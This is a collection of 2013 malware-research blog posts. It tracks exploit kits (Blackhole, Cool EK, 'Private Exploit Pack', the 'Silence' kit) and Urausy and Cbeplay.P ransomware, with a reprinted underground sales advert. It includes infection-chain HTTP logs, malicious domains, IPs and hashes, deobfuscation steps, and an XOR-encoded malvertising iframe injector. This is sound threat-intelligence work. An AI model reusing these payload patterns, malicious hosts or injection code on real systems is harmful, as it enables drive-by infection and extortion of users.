A "new" Exploit Kit is advertised since one month underground. Thanks @UnicornSec for spotting the advert. But if you are busy...just jump to the end.. :) not worth your time.

Thread title :
★♛★NEW ★Silence Exploit  Private Exploit Pack   High Rates   FUD ★ NEW★♛★

Screenshot of the advert
When you click on the Vouches : Spoiler

Silence Exploit Kit - "Vouches"

And the bottom logo in the sig is animated.

Silence Exploit Kit animated logo in "The Silence" signature.
Usually it's the moment where you have to try to find something new...and then make sure it match. But seeing this :

Invitation to register
It tried...but the IP of that domain was already familiar
174.120.157.71
21844 | 174.120.0.0/14 | THEPLANET-AS | US | SOFTLAYER.COM | THEPLANET.COM INTERNET SERVICES INC.


Silence Exploit Kit
Login/Register Screen
Now i'll show the registering process and inside...but you should better fly fast over it cause you may waste your time.

Register - Step 1 - User infos
Register - Step 2 - Verify Data
Register - Step 3 - Finish
Silence Exploit Kit - Home - Dashboard
Silence Exploit Kit - Home - My Profile
Silence Exploit Kit - Exploit - My Files
www.toptonic .bz
5.45.179.44
29141 | 5.45.176.0/21 | BKVG | DE | PROVIDERDIENSTE.DE | BRADLER & KRANTZ GMBH & CO. KG

At that exact moment I knew almost for sure what was all this about and why first IP was familiar.
Note that going on : www.toptonic .bz you see


And that was familiar too.

Part of the source code of toptonic .bz index.
Note : www.revolutionmt2 .net
174.120.157.70
21844 | 174.120.0.0/14 | THEPLANET-AS | US | SOFTLAYER.COM | THEPLANET.COM INTERNET SERVICES INC.

I was hoping not finding evident link..but so obvious that i can't ignore....see later...

Silence Exploit Kit - Exploit - My Thread
Silence Exploit Kit - Exploit - My Stats.
Empty...no active thread...but what is worth noticing is that it's a Popup
And that does not fit with the other part of the user interface (but perfectly stick to my deep feeling).
Silence Exploit Kit - Scan Service
Silence Exploit Kit - Crypt Service

Silence Exploit Kit - Traffic Service
Silence Exploit Kit - Buy Services

And now...Here was my feeling. All this is just Blackhole subletting ! 
5.45.179.44 is an IP of a bad bad range that I associate to a Blackhole that appear on my radar (but was surely operationnal before) on the 2013-05-08  with landing : /transport/posted-sorts.php on TCP port 5555 of IP 5.45.176.207

Checking a the server a little I was able to figure out that the mothership (that I usually never disclose - but in that case that serve the explanation) was : 174.120.184.68
Original config was like :

bhadmin : progress
bhstat : service
links : transport
library : fatal
data : continuous
files : locked

We could think it's a shared server...but one user of the forum posted his stats :

Silence...euh Blackhole Exploit Kit Stats with some cosmetics.
And the popup embed in fact the "bhstats" (see the scroll bar).
While writing : bhstat = service


And that also explain why this Blackhole is so active. I have seen at least 46 distinct file threads in one month. Few blackhole have such an activity. And also a good number of reverse proxy.
Right now :

Positive IP to "The Silence" Blackhole
in  5.45.176.0/21
On the mother range :

Positive IP to "The Silence" Blackhole in his mothership Range...
70...oh  noze...Jo !
This one is also the same owner :
174.122.75.162

In my opinion 2 real server. One by softlayer with (at least) 5 ips, and one by BKGV with two range acting as a proxy.


For the activity you can see on Urlquery :

Cuted PrintScreen of Urlquery /transport/ search
Some files gathered from this Blackhole - http://pastebin.com/xXaV1Hae :
Some payload from BH EK /transport/
Won't spend time in studying that. Many Bitcoin miner. But we could have guess :
Comment about "The Silence"
And in fact...we could have guess more far earlier...

The Silence trying to Rent his Rented Blackhole
At that time someone asked him, and it's still a valid question:

Question about his blackhole subletting back in november
We could have a lot of smile reviewing the 29 pages (2013-06-01) thread...but let's finish that.

"this pack really is the best of the best when it comes to exploit packs" - The Silence

And now embarrassed silence...
↧

Blackhole Exploit Kit goes 2.1.0, shows new URL Patterns

June 29, 2013, 5:09 am
$
0
0

Paunch Announcement
Original Text :
------------------------------------------
Версия 2.1.0

Небольшие изменения в функционале, выдаче, и другом

+ Аренда теперь включает наши домены, заметьте за те же деньги !!!
+ Оставлена возможность лить и на свои домены
------------------------------------------
translated by Google as :
------------------------------------------
version 2.1.0

Small changes in the functional, extradition and other

+ Rent now includes our domains, notice for the same money!
+ Left open and pour on your domains
------------------------------------------

Was not sure to write about it cause my first pass on it were not showing noticeable change but since at least yesterday morning new URL pattern appeared.

See on this tailored (CVE-2011-3402) BH EK :

New Pattern in Blackhole Exploit Kit 2013-06-28
GET http://paidopleasures .com/ngen/controlling/london.php
200 OK (text/html)

GET http://paidopleasures .com/ngen/shrift.php
200 OK (application/octet-stream)

GET http://paidopleasures .com/ngen/controlling/london.php?pDtmU=ePRGAJRDWk&CMSgsQynkuLvs=JnhjMIPLmQY
200 OK (application/java-archive)

GET http://paidopleasures .com/ngen/controlling/london.php?gTYAkZyF=6435663034&KxTto=6c435445&nrmxDgWMK=336136383730663731383a3a333239363339363536333a3a64616232366534646537&twOEdKHjPxlfNw=EFvuAnQcZLhfFbp
200 OK (application/x-shockwave-flash)

GET http://paidopleasures .com/ngen/controlling/london.php?Pf=6435663034&Ne=33613638373066373138&N=30&vi=a&KB=A
200 OK (application/x-msdownload)

In that pass the Payload was not encoded. I thought this could be specific to this Blackhole.
Then I saw same pattern on Paunch Rented Blackhole...

Paunch Rented BH EK 2.1.0 showing new URL Pattern 2013-06-29
GET http://ufaluwozub.bounceme .net/fine/shape-creation.php
200 OK (text/html)

GET http://ufaluwozub.bounceme .net/fine/shape-creation.php?yQomhhoPDPwQ=3433333738&laHbfi=42516374&TpIaPwMbCOJnpDO=30313636613435353332&eLdQQ=IBjKTFIkTbBQdqq
200 OK (application/x-shockwave-flash)

GET http://ufaluwozub.bounceme .net/fine/shape-creation.php?CgdWKXmfoKifsN=sZOssufdRLslud&pcxuSaClYajZ=bscvVVsmaEL
200 OK (application/java-archive)

GET http://ufaluwozub.bounceme .net/fine/shape-creation.php?Gf=3433333738&We=30313636613435353332&l=30&oZ=B&ln=U&jopa=1192361
200 OK (application/x-msdownload)

Note for comparison : the same Blackhole instance, other thread, on  2013-06-25 :
Paunch Rented BH EK 2.1.0 showing "old" pattern on 2013-06-25
A fast look let notice that parameters names are now also integrating Caps letter and second parameter of payload (successful infection) moved from : 

((1[f-o]|2[v-w]|3[0-3]):){9}(1[f-o]|2[v-w]|3[0-3]) 

to 

(3[0-9]|6[1-6]){10}

Not sure to understand why the URL pattern change occurs one week after the upgrade announcement
↧
Search

A "Styxy" Cool EK !

June 30, 2013, 7:55 pm
$
0
0



Around 2013-04-27 the prolific "Reveton" Cool EK suddenly became silent. The Ransomware was then pushed in SofosFO and Sweet Orange.

At end of may another Cool EK appeared, operated by another group and with some code that looks like older than last seen version (could be source leak/sell/share). Domains in .us or .pw and path in /blogs/ & /more/.

/more/ - /blogs/  Cool EK (end of May 2013 - beg of June 2013)
pushing for instance : d525f130bb311ed0306f3e3be7c5828a

That one was not widely spread hence not really easy to catch.

Since 10 days a new one appeared. Pushing reveton, many IP, same kind of domain name than THE cool EK.

Reveton Cool EK back in town - Here 2013-06-25

That Cool EK on URLQuery
That Cool EK on Malekal DB.
But nothing really new there except the come back.

Four days ago Chris Wakelin spotted some updates.
Finding a solid Referer I decided to take a look at it.... I first tried Lady Boyle (I miss her) but :

CVE-2013-1493 :
CVE-2013-1493 Path in Cool EK 2013-06-30 - e=11
GET http://neuronapodziemie.containmentmat .com:754/exception-field-assure.php
200 OK (text/html)

Surprise !! Yahoo Trends on the landing...that's known stuff !

Cool EK and Styx Landing Side to Side - 2013-06-30
Comparing the landing :

All the code (here you see only 10%) is almost exactly the same
It seems like after seing a "Blackholish" Cool, a "SofosFOish" Cool...we now have a Styxy Cool !

GET http://neuronapodziemie.containmentmat.com:754/nobody_reliance.html
200 OK (text/html)

"nobody-reliance" decoded
GET http://neuronapodziemie.containmentmat.com:754/absolute_adolescent-anticipate_unlike.html
200 OK (text/html)

The "PDFx"
Cool EK - Styx - intermediate state




GET http://neuronapodziemie.containmentmat .com:754/behalf_political_wheat-boring.html
200 OK (text/html)

"behalf_political_wheat-boring"decoded
GET http://neuronapodziemie.containmentmat.com:754/especially_haul-librarian.html
200 OK (text/html) (call for the jar) 

GET http://neuronapodziemie.containmentmat.com:754/loudly-ending_mix.jar
200 OK (application/java-archive) 511c1a7f6b361b0ca1145aef3a2ac2fb (CVE-2013-1493)
Note : AutoSigned Jar
Part of CVE-2013-1493 in Styxy Cool EK

GET http://neuronapodziemie.containmentmat.com:754/loudly-ending_mix.exe?e=11
200 OK (application/x-msdownload) e8bf637022b7c010dcf300faaaffac0b
 Dll entry : FG00 or XFG00
C&C call on 37.139.53.199 & 169 - 67.215.65.132


Piece of the Reveton Design for France - 2013-06-30


Cool and Styx - CVE-2013-1493 pass Side to Side - 2013-06-30
And so on....Styx Styx Styx everywhere.
From what we saw we can already draw the graph of exploitation but i'll keep it for the end.

CVE-2013-0431 :

CVE-2013-0431 pass - Styxy Landing, SofosFOish Exploitation
(payload encoded)
Piece of CVE-2013-0431 in SofosFOish jar of Cool EK


CVE-2013-2423:

CVE-2013-2423 in "Styxy" Cool EK - e=12
Its Call :


jnlp for CVE-2013-2423 jar call
jar : 297e7311353bb7e8099c495ec1afcfd3


Part of CVE-2013-2423 in the SofosFOish Jar of Cool EK
CVE-2011-3402 pass :

CVE-2011-3402 - e=16&h32
Payload URL as Parameter in Cookie


jZGRH (in Choose-convenient_annually-worthwhile) is a parameter to feed the function that create a Cookie
for Duqu like Font Drop path


CVE-2010-0188 (with CVE-2011-3402 attempt):

CVE-2010-0188 - e=3
Pdf nicely handled by wepawet.

And here is the
Exploitation Graph :


"Styxy" Cool EK Exploitation Graph - 2013-06-30



For CVE-2011-3402 see :
CVE-2011-3402 try back in october was like that.
IE10 and some new patch could also protect you


Note : no more Flash exploit (for now at least), no x64 duqu font drop.

We could almost name it Styx...
Server react as Cool EK. Admin interface is quite surely Cool...And quite surely no MongoDB/Git here.

Files :
Styxy_Cool_2013-06-30 (OwnCloud via Goo.gl - 6 Fiddler)
<edit: see FAQ for password />
<edit : s/2493/2423 : thx a lot @SecurityObscurity />
<edit 2013-07-02 : added condition on CVE-2011-3402 infection based on comment />
<edit 2013-07-05 : soc eng added in the Exploitation Graph for Java not vuln - explain the failover on this jar />
↧

"Private Exploit Pack" - new BEP featuring CVE-2013-1347

July 4, 2013, 3:00 pm
$
0
0


Private Exploit Pack
Animated Ad in Imposition signature

Since end of may "imposition" is advertising on underground forum a new browser exploit pack that come with name "Private Exploit Pack".
Private Exploit Pack Advert
Here is the Text of this advert :
------------------------------------------
[NEW]Private Exploit Pack || 6 exploits || Good Infection Rate || Unlimited Traffic
------------------------------------------
All the exploits have been tested with the following operating systems browsers and are working:
Windows xp(all service packs) 32bit
Windows 7(all service packs) 32bit
Windows 7(all service packs) 64bit
Windows Vista(all service packs) 64bit
Windows Vista(all service packs) 32bit
Windows 8(all service packs) 64bit
Windows 8(all service packs) 32bit
Google Chrome (Google requires users to allow plugins to run, so rates on Chrome are low just as it is with other exploit packs)
Firefox (Newer versions of Firefox requires users to allow plugins to run , so rates on Firefox are low just as it is with other exploit packs)
Microsoft Internet Explorer (The best rates come from Internet Explorers lack of security)
Opera (Opera has bad security and often times gets exploited)

Some of the notable features are as follows:
Advanced statistics showing you a lot of useful information
Iframe creator
Encrypted iframe creator
File upload and scan
Automatic file scanning via cron (no scan4you account needed)
Unique methods to make analysis more difficult and harder to download file to load (file wont get detected as fast/scanned on Virus Total) when pack is found in wild
Automatic cleaning of exploits
Professional code and server setup to hold high amounts of traffic
Unique ip for each user.


Current Exploits:
CVE-2013-2423 (Java TYPE) 
CVE-2013-1347 (IE UAF) 
CVE-2013-1493 (Java CMM) 
CVE-2011-3544 (Java Rhino) 
CVE-2010-0188 (PDF LIBTIFF) 
CVE-2006-0003 (MDAC) 


Pictures:
Chrome exploit rate:

FireFox exploit rate:

Internet Explorer exploit rate:
Opera exploit rate:
Overall exploit rate:
Files Page:
File Scanner:
Cost:
After looking around at other exploit pack prices I have decided that these prices are appropriate.
$50/day/unlimited traffic
$300/week/unlimited traffic (you get a discount for buying a week)
$1100/month/unlimited traffic (you get a discount for buying a month)

Payments:
Perfect Money
LTC
BTC
WMZ

Contact:
imposition@thesecure.biz

I have some rules I want all customers to follow, not following them can result in termination without a refund:
1.All traffic must be iframed.
2.You are not allowed to directly spread the link, refer to rule #1.
3.Only one person will get access to the account, please don't share with anyone else.
4.If you have any problems contact me on jabber or via PM before posting on the thread, 99.99% of the time I can help.
5.Don't pay with stolen money.
6.If you are paying with LTC/BTC you must pay exactly when I say. The prices fluctuate and I need to be able to sell them
immediately.
7.Payments must be made up front. If you don't pay before your subscription expires I won't prolong it until you pay again.
8.You must use a domain for the traffic. It doesn't matter if it is a free domain from a free service, but you aren't
allowed to use the exploit without a domain.

------------------------------------------
On another forum he wrotes few days ago :

"Today I have completed the Domain Rotator. To use the Domain Rotator you need to have a scan4you account, it will automatically disable detected domains."
------------------------------------------

When UnicornSec pointed that advert I was puzzled.
A new exploit pack featuring CVE-2013-1347 that has not been integrated by any other major "public" exploit kit...that sounds weird, especially seeing the forum on which it was first advertised.

The CVE-2013-1347 (IE8 kind of CVE-2012-4792 sister) has been discovered in the Departement of Labor Watering Hole Campaign by FireEye and the campaign itself has been spotted (Great job !) by Pedro Bustamante from ZeroVulnerabilityLabs (now Malwarebytes) on April 30. 
I was expecting a major adoption...but...no, even after its integration in Metasploit Framework.

Now let's fly over what i think (99% sure) is "Private Exploit Pack".

CVE-2006-0003 (MDAC) :

" If it works it works :D " - Imposition - 2013-06-11


CVE-2006-0003 MDAC on Private Exploit Pack


GET http://rluxikfytinunjep.dyndns-blog .com/blog/post.php?name=n0GpUcx&id=57216084&page=171
200 OK (text/html)  fb770b3d35e76c6b18ea8a34698c733a

MDAC evidences in IE6 tailored landing from Private Exploit Pack


GET http://rluxikfytinunjep.dyndns-blog .com/blog/js/PluginDetect.js
200 OK (application/x-javascript)

Standard pinlady PluginDetect v0.7.6 
GET http://rluxikfytinunjep.dyndns-blog .com/blog/azdixcmhsv.php?gsczx=9505490&id=57216084
200 OK (application/octet-stream) 14d82f60571ddd06b27262925b13c686




CVE-2013-1347 XP 32bits :

CVE-2013-1347 fired on a XP32bits IE8
CVE-2010-0188&CVE-2013-1347 vuln machine
GET http://jimujrymjeqw.dyndns-remote .com/blog/post.php?name=niSVjJ3&id=57216084&page=507
200 OK (text/html)

After some simplification the landing looks like : http://pastebin.com/raw.php?i=J8emsMv7
Which write this : http://pastebin.com/raw.php?i=b0sd0vVq
There is another tiny layer of obfuscation you can remove applying :
replace(/#/g,'').split("").reverse().join("");
On these kind of strings:

2nd layer of obfuscation
but easy to read
Once again there we can already draw the big part of the Exploit Graph and know in which order to probe this pack. But this is for the end :)

GET http://jimujrymjeqw.dyndns-remote .com/blog/js/PluginDetect.js
200 OK (application/x-javascript)

GET http://jimujrymjeqw.dyndns-remote .com/blog/js/getJavaInfo.jar
200 OK (application/java-archive) 18990a0a65a6fb3f0ffe1106168b4eac <-- Standard java version detect (same used in BH EK)

GET http://jimujrymjeqw.dyndns-remote .com/blog/js/A.class
500 Internal Server Error (text/html)
GET http://jimujrymjeqw.dyndns-remote .com/blog/js/A/class.class
500 Internal Server Error (text/html)
GET http://jimujrymjeqw.dyndns-remote .com/blog/js/A.class
500 Internal Server Error (text/html)
GET http://jimujrymjeqw.dyndns-remote .com/blog/js/A/class.class
500 Internal Server Error (text/html)

GET http://jimujrymjeqw.dyndns-remote .com/blog/xwncgmxctx.php?x=3547129&id=57216084

CVE-2013-1347 piece of code.
You'll see the onload script here : http://pastebin.com/8jWwYzGD
Good enough to escape Wepawet and Thug (for now :) )
1st Deobfuscation pass : http://pastebin.com/PJTrjH1Z


GET http://jimujrymjeqw.dyndns-remote .com/blog/xwncgmxctx.php?x=3373768&id=57216084
200 OK (application/pdf) 0a65bc2f031dcdcae92b78b571f6867d (CVE-2010-0188 )

GET http://jimujrymjeqw.dyndns-remote .com/blog/icakinsoef.php?x=3547129&id=57216084
200 OK (application/octet-stream) 2993567113be2b3b8f69a8610806e046

Payload trying to call home
CVE-2013-1347 x64 :


CVE-2013-1347 path on Win7 x64 in Private Exploit Pack
(GetInfoJar is not here cause of cache - but should be seen here)
GET http://droqmumrynota.dyndns-remote .com/blog/post.php?name=QcxDn&id=57216084&page=402
200 OK (text/html)  a91618b599d41ff9360b00128c04dcd4

GET http://droqmumrynota.dyndns-remote .com/blog/js/PluginDetect.js
200 OK (application/x-javascript)


GET http://jimujrymjeqw.dyndns-remote .com/blog/js/getJavaInfo.jar
200 OK (application/java-archive) 18990a0a65a6fb3f0ffe1106168b4eac 

GET http://jimujrymjeqw.dyndns-remote .com/blog/js/A.class
500 Internal Server Error (text/html)
GET http://jimujrymjeqw.dyndns-remote .com/blog/js/A/class.class
500 Internal Server Error (text/html)
GET http://jimujrymjeqw.dyndns-remote .com/blog/js/A.class
500 Internal Server Error (text/html)
GET http://jimujrymjeqw.dyndns-remote .com/blog/js/A/class.class
500 Internal Server Error (text/html)

GET http://droqmumrynota.dyndns-remote .com/blog/xwncgmxctx.php?x=3547129&id=57216084
200 OK (text/html) 4a45e19d9d63d10bef5f541021468f2e ( a deeper analyse would be good here)

GET http://droqmumrynota.dyndns-remote .com/blog/icakinsoef.php?x=3547129&id=57216084
200 OK (application/octet-stream)



CVE-2013-1493 :

CVE-2013-1493 in PEP
(here we should see the GetInfoJar.jar but was cached)
GET http://bsytoutivmipt.dyndns-remote .com/blog/post.php?name=Hi69d&id=57216084&page=559
200 OK (text/html)

GET http://bsytoutivmipt.dyndns-remote .com/blog/js/PluginDetect.js
200 OK (application/x-javascript)

GET http://bsytoutivmipt.dyndns-remote .com/blog/xwncgmxctx.php?x=0593922&id=57216084
200 OK (application/octet-stream) 74296a32e986db2da739af4f699091ab (CVE-2013-1493 & CVE-2013-2423 in that jar. Here CVE-2013-1493 is fired)

Piece of CVE-2013-1493 in a Private Exploit Pack Jar
GET http://bsytoutivmipt.dyndns-remote .com/blog/icakinsoef.php?x=0593922&id=57216084
200 OK (application/octet-stream)

CVE-2011-3544 :

CVE-2011-3544 fired in Private Exploit Pack
(note, forgetting emptying the Fiddler Cache we can't see the /blog/js/getJarInfo.jar but is supposed to be here)
GET http://hwetedya.dyndns-blog .com/blog/post.php?name=CaRiksrC&id=5717843&page=872
200 OK (text/html) de99e937d45dc16181fe3ea28c48dc16

GET http://hwetedya.dyndns-blog .com/blog/js/PluginDetect.js
200 OK (application/x-javascript)

GET http://droqmumrynota.dyndns-remote .com/blog/js/getJavaInfo.jar
200 OK (application/java-archive)

GET http://droqmumrynota.dyndns-remote.com/blog/js/A.class
500 Internal Server Error (text/html)
GET http://droqmumrynota.dyndns-remote.com/blog/js/A/class.class
500 Internal Server Error (text/html)
GET http://droqmumrynota.dyndns-remote.com/blog/js/A.class
500 Internal Server Error (text/html)
GET http://droqmumrynota.dyndns-remote.com/blog/js/A/class.class
500 Internal Server Error (text/html)

GET http://hwetedya.dyndns-blog .com/blog/ggxclalsip.php?u=4697669&id=5717843
200 OK (application/octet-stream) 2344f33f6058205ad3ef2dfdf1505c3f

CVE-2011-3544 in Private Exploit Pack
GET http://hwetedya.dyndns-blog .com/blog/com.class
500 Internal Server Error (text/html)
GET http://hwetedya.dyndns-blog .com/blog/edu.class
500 Internal Server Error (text/html)
GET http://hwetedya.dyndns-blog .com/blog/net.class
500 Internal Server Error (text/html)
GET http://hwetedya.dyndns-blog .com/blog/org.class
500 Internal Server Error (text/html)

GET http://hwetedya.dyndns-blog .com/blog/buwmweopow.php?u=4697669&id=5717843
200 OK (application/octet-stream) d424edadd516bab136fe898fd732d8c5

CVE-2013-2423 :

CVE-2013-2423 successful path in Private Exploit Pack 2013-07-03
GET http://droqmumrynota.dyndns-remote .com/blog/post.php?name=QcxDn&id=57216084&page=402
200 OK (text/html) 

Call for CVE-2013-2423 in the landing after 1 deobfuscation pass
Value after  replace(/#/g, '').split("").reverse().join("")
Jnlp in Private Exploit Pack


GET http://droqmumrynota.dyndns-remote .com/blog/js/PluginDetect.js
200 OK (application/x-javascript)

GET http://droqmumrynota.dyndns-remote .com/blog/js/getJavaInfo.jar
200 OK (application/java-archive)

GET http://droqmumrynota.dyndns-remote .com/blog/js/A.class
500 Internal Server Error (text/html)
GET http://droqmumrynota.dyndns-remote .com/blog/js/A/class.class
500 Internal Server Error (text/html)
GET http://droqmumrynota.dyndns-remote .com/blog/js/A.class
500 Internal Server Error (text/html)
GET http://droqmumrynota.dyndns-remote .com/blog/js/A/class.class
500 Internal Server Error (text/html)

GET http://droqmumrynota.dyndns-remote .com/blog/xwncgmxctx.php?x=8130706&id=57216084
200 OK (application/octet-stream) 8ed49185441d906bbc3fdb82c0b98d81

CVE-2013-2423 in Private Exploit Pack Jar
GET http://droqmumrynota.dyndns-remote .com/blog/icakinsoef.php?x=8130706&id=57216084
200 OK (application/octet-stream)

And here is the Exploitation Graph :


PEP Exploitation Graph

Disclaimer : If i find any bug or things not working the way creator should expect it I usually try to avoid disclosing it.

Credits :
Thanks to Symantec for assistance !
Props to Pedro Bustamante for Spotting the Dol.gov compromission !
Thanks UnicornSec for spotting the advert fews days after it was online
Props to Set Abominae who first spotted that stuff live
Set Abominae notifying about that new pack
Thanks to MalwareSigs for solid referer to that unknown EK who allowed me to cover first half of the CVEs


↧
↧

Urausy Ransomware - July 2013 Design Refresh - "Summer 2013 Collection"

July 28, 2013, 6:18 am
$
0
0
featured in Urausy
Urausy, the Ransomware spread by BestAV Affiliate, is showing new clothes since middle of july (thanks to @SecObscurity and @tachion24 for fast ping 2 weeks ago)

Patchwork of Urausy July 2013 Design Refresh


No more default Windows Logo, but always pretend this is done with the help of your antivirus (if one) company :

On the Left without antivirus - On the Right with an Antivirus (logo adapt)


countdown (as in Reveton Winter 2012),

Urausy Countdown in US Design - 2013-07


 more government representative (not for Germany here (?!)  ) and some institution (CIRCL for LU, Mandiant for US). Logos for location where you can find voucher are now rotating.

Here are the Design I was able to gather

United Arab Emirates :

Urausy AE 2013-07

Austria :

Urausy AT 2013-07
Australia :

Urausy AU 2013-07
Belgium :

Urausy BE 2013-07
Bolivia :

Urausy BO 2013-07
Canada :

Urausy CA 2013-07
Switzerland :

Urausy CH 2013-07
Cyprus :

Urausy CY 2013-07
Czech Republic :

Urausy CZ 2013-07
Germany :
Note : I did no get the one we can see in blog.botfrei.de and which is more in line with the Design Refresh (thx @ericfreyss for the link)

Urausy DE 2013-07-27
<edit 1 : 2013-07-29>
Thanks to Maxstar here is it :

Urausy DE 2013-07-16
</edit1>

Denmark :

Urausy DK 2013-07
Ecuador :

Urausy EC 2013-07
Spain :

Urausy ES 2013-07
Finland :

Urausy FI 2013-07
France :

Urausy FR 2013-07
Great-Britain :

Urausy GB 2013-07
Croatia :

Urausy HR 2013-07
Hungary :

Urausy HU 2013-07
Ireland :

Urausy IE 2013-07
Italy :

Urausy IT 2013-07
Luxemburg :

Urausy LU 2013-07
Latvia :

Urausy LV 2013-07
Mexico :

Urausy MX 2013-07
Netherlands :

Urausy NL 2013-07
Norway :

Urausy NO 2013-07
New Zealand :

Urausy NZ 2013-07
Poland :

Urausy PL 2013-07
Portugal :

Urausy PT 2013-07
Romania :

Urausy RO 2013-07
Saudi Arabia :

Urausy SA 2013-07
Sweden :

Urausy SE 2013-07
Slovakia :

Urausy SK 2013-07
Slovenia :

Urausy SL 2013-07
Turkey :

Urausy TR 2013-07
United States :

Urausy US 2013-07
Uruguay :

Urausy UY 2013-07
Some design are missing (PS, LB, JO, GR, etc...). I'll update once I have it.

Some Readings :
Urausy Lockscreen: Your computer will remain locked for 3 days, 11 hours and 20 minutes! - 2013-07-24 - Jaromir Horejsi - Avast
The missing link - Some lights on "Urausy" affiliate - 2013-05-29

Sample :
Designs (OwnCloud via goo.gl)  (CC BY-ND)
14f95d3bce22add22389c9ccd6a6f3f2 (OwnCloud via Goo.gl) from this fiesta attack :


Fiesta Exploit Kit pushing Urausy via CVE-2010-0188
<edit1: 2013-07-29 - DE Design/>
↧

Cbeplay.P History - increased activity fuelled by a Youtube Malvertising - Voice from Google Translate

August 1, 2013, 10:44 am
$
0
0
CBeplay US Design 2013-08

On 2013-07-30 I heard from Chris Wakelin about  Youtube malvertising via  zxroll.doniz .nl/stats/ - 188.120.236.219

29182 | 188.120.224.0/20 | ISPSYSTEM | RU | BANGUP-MOSCOW.RU | ISPSYSTEM CJSC

 to a Sweet Orange on 217.23.138.42
15756 | 217.23.128.0/19 | CARAVAN | RU | CARAVAN.RU | CJSC CARAVAN-TELECOM

<edit1 2013-08-02> Got contact by mail telling me those redirect are as old as 2013-07-22 and then found  a tweet from @MalwareSigs about that on 2013-07-26</edit1>

I took a look at the payload : CBeplay.P.
( what's new : US design : DHS Themed, Google Translate voices, newly targeted countries with old Urausy Design - See at the end)

Here is the US design featuring the Google Translate voice (seems a Y was missing ;) ) :
http://youtu.be/gnpMkftUlyk


C&C ?
5.104.106.79 - 46.165.201.27 (cf  Joe Sandbox Cloud analysis at the end)

The US-Cert released a notification on 2013-07-30
"US-CERT has received reports of increased activity concerning an apparently DHS-themed ransomware malware infection occurring in the wild."

Would be a big surprise if those dots are not connected.

The day after Chris Wakelin was seeing the same kind of Malvertising with same intermediate redirector xxx.nookid .nl/stats traffing for a new Cool EK on 142.0.4.29 with Subfolder /water/

Couldn't replay from Youtube.
Here Cool EK /water/ dropping CBeplay.P with a Styxy Jar from intermediate Redirector

Same day on Twitter Shay Harding notified about the increase of Cool EK...



@kellewic tweet about /water/ Cool EK

Guess which one : /water/ !
Asking him if he could find the referrer he told me it was a Youtube link.
All payload are in fact CBeplay.P

<edit2 2013-08-04>
I've been given a pcap of the infection (thanks : @ph1lv  !!). The publisher ID of the malvertising is :

ca-pub-6219811747049371

One swf is still available there (pastebin with the link), and in this zip (owncloud via goo.gl)  :

Malvertising Displayed on Youtube that could drive you to
the CBeplay.P  Sweet Orange or later Cool EK
Malicious content is hex charcodes XORed with 255 (thanks Chris Wakelin )

decryption function
encoded function to insert the iframe
(no user interaction needed to load bad redirection)
String is :

998a919c8b969091d7d684899e8ddfbadfc2df9b909c8a929a918bd19c8d9a9e8b9aba939a929a918bd7d896998d9e929ad8d6c49b909c8a929a918bd19d909b86d19e8f8f9a919bbc9796939bd7bad6c4899e8ddfbeabaddfc2dfbad19e8b8b8d969d8a8b9a8cc4899e8ddfbea8dfc2df9b909c8a929a918bd19c8d9a9e8b9abe8b8b8d969d8a8b9ad7d888969b8b97d8d6c4bea8d191909b9aa99e938a9adfc2dfd8cfd8c4beabadd18c9a8bb19e929a9bb68b9a92d7bea8d6c4899e8ddfbeb7dfc2df9b909c8a929a918bd19c8d9a9e8b9abe8b8b8d969d8a8b9ad7d8979a9698978bd8d6c4beb7d191909b9aa99e938a9adfc2dfd8cfd8c4beabadd18c9a8bb19e929a9bb68b9a92d7beb7d6c4899e8ddfbebddfc2df9b909c8a929a918bd19c8d9a9e8b9abe8b8b8d969d8a8b9ad7d8998d9e929a9d908d9b9a8dd8d6c4bebdd191909b9aa99e938a9adfc2dfd8cfd8c4beabadd18c9a8bb19e929a9bb68b9a92d7bebdd6c4899e8ddfbeacdfc2df9b909c8a929a918bd19c8d9a9e8b9abe8b8b8d969d8a8b9ad7d88c8d9cd8d6c4beacd191909b9aa99e938a9adfc2dfd8

Which convert to :
decoded function to insert the iframe
http://pastebin.com/raw.php?i=3xz8JdGG

And here is  :
Encoded malicious URL
the encoded url :

978b8b8fc5d0d085878d909393d19b90919685d19193d08c8b9e8b8cd0

which convert :

Encoded URL decryption using Kahu SecurityConverter Tool.
to

http://zxroll.doniz .nl/stats/

</edit2>



I'd love to see the stats of that Cool EK instance...the Traffic must have been insanely huge.
For people following that threat you have surely recognized the gang that was behind the /read/ Cool EK :

Here is their EK use history :
2012-04-09 and before BH EK --> 2012-08-23 Sakura /forum/load/ --> 2013-09-07 Sweet Orange --> 2012-09-19 BH EK (when 2.0 goes out) --> 2013-10-23 Cool EK /r/ then /read/ --> 2013-01-13 Sweet Orange --> 2013-02-21 Cool EK (when new version come - /sales/ /indoor/ ) --> 2013-03-10 Sweet Orange --> 2013-07-30 Cool EK /water/


Below is a Timeline  (direct link) to illustrate that :
And here are the other "Talking" Design - sorted alphabetically (country code) :
Austria: http://youtu.be/26ssPFefMQM
Canada: http://youtu.be/z3ROqM5lYBE
Switzerland: http://youtu.be/6ehaniYgjVs
Deutschland: http://youtu.be/_y4U3-Syx_g
Denmark: http://youtu.be/9_AWL4TLrhA
Spain: http://youtu.be/6X3j1v7sFoo
Finland:  http://youtu.be/fhpXftI8Q_k
France: http://youtu.be/80k2-34wXAw
Great-Britain: http://youtu.be/WBKB-aq_Z0M
Ireland: http://youtu.be/AP2_GPBhfbQ
Italy: http://youtu.be/07lvnjXJ-Z8
Luxemburg: http://youtu.be/mfYporm3xJI
Netherlands: http://youtu.be/o_U2GOe3ozE
Norway: http://youtu.be/Cx4UeI-5Mzg
Poland: http://youtu.be/VBSuEsQZ-qw
Portugal: http://youtu.be/X7FSXk9HmLI
Sweden: http://youtu.be/VyGY7pXdJjc

Read more :
Recent Reports of DHS-Themed Ransomware - 2013-07-30 - US-Cert
Malvertising on Youtube.com redirects to EKs - 2013-07-30 - MalwareSigs
CBeplay.P : Now target Australia and moved to server side localization - 2013-02-21
Cbeplay.P targets US and AT, now talks to UK Citizens - 2013-02-08

Files :
A really nice  analysis by Joe Sandbox Cloud (www.joesecurity.org)
You'll see the C&C call, Design, antiVM features and much more

Some samples (OwnCloud via goo.gl)
SWF from the malvertising
↧

CVE-2013-2465/CVE-2013-2471 integrating Exploit Kits -- jre7u21 CVE- jre6u45 and earlier

August 14, 2013, 3:49 pm
$
0
0

Snipshots from Mitre

Two days after disclosure, CVE-2013-2465 is starting to be integrated in Exploit Kits.
What makes it "better" than CVE-2013-2460 (recently integrated in Private Exploit Pack) is that it's targeting all Java branch 6 (update 45 included)

<edit4> NB: Have been told that it crashes with jre6 <= 18  </edit4>

Here is it in
